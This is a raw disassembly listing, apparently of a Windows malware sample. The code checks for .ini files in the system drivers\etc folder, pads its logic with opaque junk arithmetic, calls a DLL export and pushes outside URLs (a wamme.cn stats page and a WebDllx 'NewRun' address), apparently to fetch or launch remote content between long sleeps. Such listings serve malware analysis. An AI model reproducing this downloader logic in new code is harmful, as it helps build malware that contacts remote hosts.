push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], ecx
call fcn.0042971d
add esp, 8
cmp eax, 0xffffffff
je 0x4037f9
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042971d
add esp, 8
cmp eax, 0xffffffff
jne 0x403800
push 0
call fcn.004298ea
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x403810
mov esi, dword [0x4556a0]
mov edx, dword [0x4556a8]
imul esi, esi, 0x217
mov ecx, dword [0x45568c]
imul edx, edx, 0x12b
sub esi, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
add esi, edx
mov edi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
shr edi, 0x1f
add edi, esi
mov esi, dword [0x455694]
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, esi
add eax, 0x1d3
push 0x132b600
mov dword [0x45568c], eax
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov ecx, dword [0x4556a8]
mov esi, dword [0x4556a0]
mov eax, 0x3d3fa421
imul esi, esi, 0x14f
imul ecx
imul ecx, ecx, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub esi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov edi, edx
add esi, edx
shr edi, 0x1f
push 0
add edi, esi
sub edi, ecx
mov ecx, dword [0x455694]
push 0
mov eax, 0xe070381d
imul ecx
mov eax, dword [ebp + 8]
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
add edx, ecx
push 0x45567c
sar edx, 7
push 0
mov ecx, edx
push 0
shr ecx, 0x1f
push 1
add ecx, edx
add eax, 0x74
sub edi, ecx
push 0x68
push eax
mov dword [0x455698], edi
call fcn.0043ba7a
add esp, 0x2c
push 0x2710
call ebx
mov edi, dword [0x455698]
imul edi, edi, 0x1ed
mov ecx, dword [0x45568c]
mov esi, dword [0x45569c]
mov edx, ecx
imul edx, edx, 0x217
add edi, edx
mov eax, 0xc3a13de7
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x92
sub edi, eax
add edi, dword [0x4556a4]
lea esi, [edx + edi - 0xb8]
mov dword [0x455694], esi
xor edi, edi
nop
mov eax, 0x709ad4e5
imul esi
imul esi, esi, 0xb8
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x23c
add eax, edx
mov edx, dword [0x455690]
imul edx, edx, 0x217
add eax, edx
mov dword [ebp + 8], eax
mov eax, 0x42776e9b
imul ecx
mov ecx, dword [ebp + 8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
push 0x2710
mov dword [0x45569c], ecx
call ebx
mov ecx, dword [0x45568c]
mov esi, dword [0x455694]
inc edi
jmp 0x403980
mov esi, dword [0x455698]
mov ecx, dword [0x45568c]
imul esi, esi, 0x1ed
imul ecx, ecx, 0x217
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x92
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub esi, eax
add esi, edx
lea edx, [ecx + esi - 0xb8]
push 0x493e0
mov dword [0x455694], edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.004298ea
mov eax, 0x403a47
ret